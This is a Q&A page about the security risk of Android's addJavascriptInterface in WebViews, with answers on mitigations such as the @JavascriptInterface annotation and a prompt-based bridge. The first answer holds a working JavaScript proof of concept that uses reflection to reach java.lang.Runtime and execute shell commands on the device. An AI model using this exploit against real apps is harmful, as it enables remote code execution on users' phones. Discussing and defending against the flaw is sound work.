Android JavascriptInterface Security?
Solution 1
an example access sdcard files from javascript:
<html>
<head>
<script>
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
function execute(cmdArgs)
{
// go_back_js_interface_name is the registered java interface.
// it is an object, but is not iterable with for (var i in interface) {...}.
return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
</head>
<body>
Test
</body>
</html>
Solution 2
So code that gets run in a WebView is sandboxed by default - that is, it can't execute the dangerous native stuff like writing to the filesystem or accessing the address book etc...
Most javaScript falls into that category and in the case of showing a custom dialog, there's no danger.
addJavaScriptInterface allows you to expose native phone stuff to javascript and the danger is that if you don't write your javaScriptInterface correctly you could end up exposing a person's phone to real danger from a hacker.
I think it's easiest to understand using an example.
Say you write a javaScript interface where you can call a function from javaScript that writes a file to a path on the android filesystem. eg:
writeToFile(data, safepath);
The javascript all comes from your server but somehow a hacker compromises your server and changes the HTML/JavaScript that's being loaded into your WebView to run:
writeToFile(dangerousdata, pathtosomeotherfile);
Now I haven't examined the layout of an android package well enough to know which file I'd want to overwrite/change if I were a hacker, but we used to have little hacking battles with friends on our own linux machines when I was younger and you'd use a call like this to overwrite something like the SSH binary - then you'd be able to log all passwords that would come in. If you could do things like overwrite or extend the original apk with your own you could turn the person's phone into a server you could log into remotely (I'm not sure if that's possible due to how applications are sandboxed). Even if all you could do is overwrite a critical data file you might be able to cause a user to give you (the hacker in this case) access to security credentials, passwords, all sorts of things.
There was a time many years ago where we found a hole in the sendmail process on a linux machine that allowed us to start up a shell. We were logged into our server as the mail user. You couldn't do much as the mail user, but once you were on the machine it gave you the chance to look around for other weaknesses.
So you can do what you want to do safely, just be sure that you make that JavaScript interface really simple and dumb - it only writes to one file in one location and the data that you write is maybe text or something that doesn't get interpreted later. For dialogs I do this all the time - don't need any special native calls either. It's a great way to make a page you can update after the user has your app installed.
Hope this is helpful!
Solution 3
The fix:
For applications running Android 4.2 all public methods that are annotated with JavascriptInterface can be accessed from JavaScript.
So if you develop an application for SDK version 17 or higher, you must add the @JavascriptInterface annotation to any method that you want available to your JavaScript.
If you do not provide the annotation, the method is not accessible by your web page when running on Android 4.2 or higher.
To know more click here
Solution 4
For anyone checking this out in 2020, it seems like the security concern only affects Android APIs lower than 17 (Android 4.2). So, if your minSdkVersion
is 17
or higher, then you should be safe.
Here are references:
-
https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/
If the linked SDK has been built for an API lower than 17, the vulnerability exists – even if the application using the SDK has been built for API 17 or above.
-
https://7asecurity.com/blog/2019/09/hacking-mandated-apps-part-5-rce-in-webview-mstg-platform-7/
Android versions from Android 2.4 to Android 4.1 are affected by a vulnerability that allows remote code execution when JavaScript is injected in the WebView.
-
https://arxiv.org/pdf/1912.12982.pdf (Page 7)
Google later fixed this weakness on Android 4.2 and above. However, if an app sets the targetSdkVersion lower than 17 and also calls this API, the system will still render the vulnerable API behavior even when running on Android 4.2+. Such vulnerable app examples are available at https://sites.google.com/site/androidrce/.
Solution 5
OverView
To avoid the security issue of addJavaScriptInterface(), you need to design a communication protocol between native code and JavaScript.
The following is a simple design of the communication protocol.
In JavaScript
To simplify the communication protocol, every function call that you want Android to handle should obey the following pattern
/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");
In Java
One can override the onJsPrompt() in WebChromeClient.
WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}
Cordova framework
This is also how Cordova Plugin works. Although Cordova is more complicated, it adds callback function to "JS to Native Call", and allow native code call JavaScript
Related videos on Youtube
NoBugs
Updated on June 01, 2022Comments
-
NoBugs almost 2 years
From the documentation: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29
"Using addJavascriptInterface() allows JavaScript to control your application. This can be a very useful feature or a dangerous security issue. When the HTML in the WebView is untrustworthy (for example, part or all of the HTML is provided by some person or process), then an attacker could inject HTML that will execute your code and possibly any code of the attacker's choosing. Do not use addJavascriptInterface() unless all of the HTML in this WebView was written by you. The Java object that is bound runs in another thread and not in the thread that it was constructed in.
Suppose I have an interface that only shows a custom dialog box, or starts a download to sd card. Would this be unsafe to use for any url? How could an attack page use the interface to run any code of the attacker's choosing?Update: According to the documentation:
This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
Is there an example of how this could happen? It this just saying thatDOWNLOADINTERFACE.dangerousfunction
could be called if that's a public method on that class?Update:
I tested based on the example of the exploit below, sites can get access to the system through interfaces in Android 4.4, 4.1, and 3.2.
However, I was not seeing this bug on Android 2.2, or 2.3, the hack only causes a force-close. What is the best way to prevent this hack, other than not using JSInterface? Can I include bogus functions like this, to prevent unauthorized calling of functions?
public Object getClass() { //throw error, return self, or something? }
Or rewrite everything using ajax and intercepting calls? Would that result in better/worse performance?
Update:
I succeeded in removing the JS interface, and replaced the functionality by defining window.open(specialurl) commands for all the window.(interface) functions, and overriding those in the shouldOverrideUrlLoading. Strangely enough, window.open() must be used in some cases, or the webview breaks display (like javascript is stopping?), and in other cases location.replace should be used or it will just show a "interface://specialdata" could not be found message.
(I set settings.setJavaScriptCanOpenWindowsAutomatically(true) so window.open works from JS all the time.)
Anyone know the best way to rewrite an app with this behavior?
-
Dediqated over 10 yearsare you loading external files from the internet or only local files on the phone? And did you have set the internet permission? because I think the hacker can't change javascript code if he has no way of reaching the phone remotely
-
NoBugs over 10 yearsThis was from web, not local, so I need to protect this interface.
-
roxrook over 10 years@NoBugs: Hello, I wonder if you have successfully found a solution for this security hole without removing
JavascriptInterface
? Also, I notice your way of override getClass() isn't feasible since getClass() is a final method. -
NoBugs over 9 years@Chan Yes, I found calling ajax and intercepting it is a fine alternative to the JSinterface.
-
-
NoBugs almost 13 yearsI'm not making a root app so it shouldn't be able to overwrite anything important, only /sdcard/something, but I'm wondering if there is some inherent security hole in this feature, since documentation says to never use it on html you didn't write, it could run any code of attacker's choosing.
-
walta almost 13 yearsWell there is /sdcard/something... I THINK that could include reading from and writing to files used by other applications. Then there's everything in your application data directory. That could include databases and whatnot. I think there's not an inherent security hole. It's just that you're explicitly punching a hole in the web sandbox. If you have a good reason then just be sure you know what you're doing.
-
NoBugs over 10 yearsWhat sort of Java interface did this work with? I get an error on
window.DOWNLOADINTERFACE.getClass().forName("java.lang.Runtime")
.E/webcoreglue(15778): *** Uncaught exception returned from Java call! W/System.err(15778): java.lang.CloneNotSupportedException: Class doesn't implement Cloneable W/System.err(15778): at java.lang.Object.clone(Object.java:79) W/System.err(15778): at android.webkit.JWebCoreJavaBridge.sharedTimerFired(Native Method)
-
NoBugs over 10 yearsThen why do 2.2 and 2.3 devices not work with Haitao's example code above? The only device I've found to have this bug was a 4.1 device.
-
afpro over 10 yearssorry about that, i don't have 2.x device. i just work on 4.x.
-
NoBugs over 10 yearsThanks but I don't even have access to a 4.2 device right now, and I'm writing this for maximum compatibility.
-
Durai Amuthan.H over 10 yearsThen if possible disable the javascript so that even intruder can't access any java methods and exploit this vulnerability
-
Durai Amuthan.H over 10 yearsAs this problem is kind of MAN IN THE MIDDLE attack you could use SSL certificates to ensure that the content you received is not tampered.
-
NoBugs over 10 yearsHalf true, you must be on 4.2+ and be using an app that uses the new @JavascriptInterface and was compiled for newer api.
-
NoBugs almost 9 yearsLocation.promt? Why not change location and do shouldOverRideUrlLoading of a specific scheme:// ? What if page actually has prompts?
-
York almost 9 yearsThe page actually prompts nothing. As the onJsPrompt has been override and the corresponding return value is true, the WebKit will assume the JavaScript promt function has been processed, and won't prompt anything. You need to do your own implementation in onJsPrompt function. It's Ok if you want to do this another scheme. But why bother? window.prompt() is easy to use already.
-
Skynet about 8 years
if you don't write your javaScriptInterface correctly
- a very useful point but what measures ascorrectly
here? What pitfalls should a programmer look for?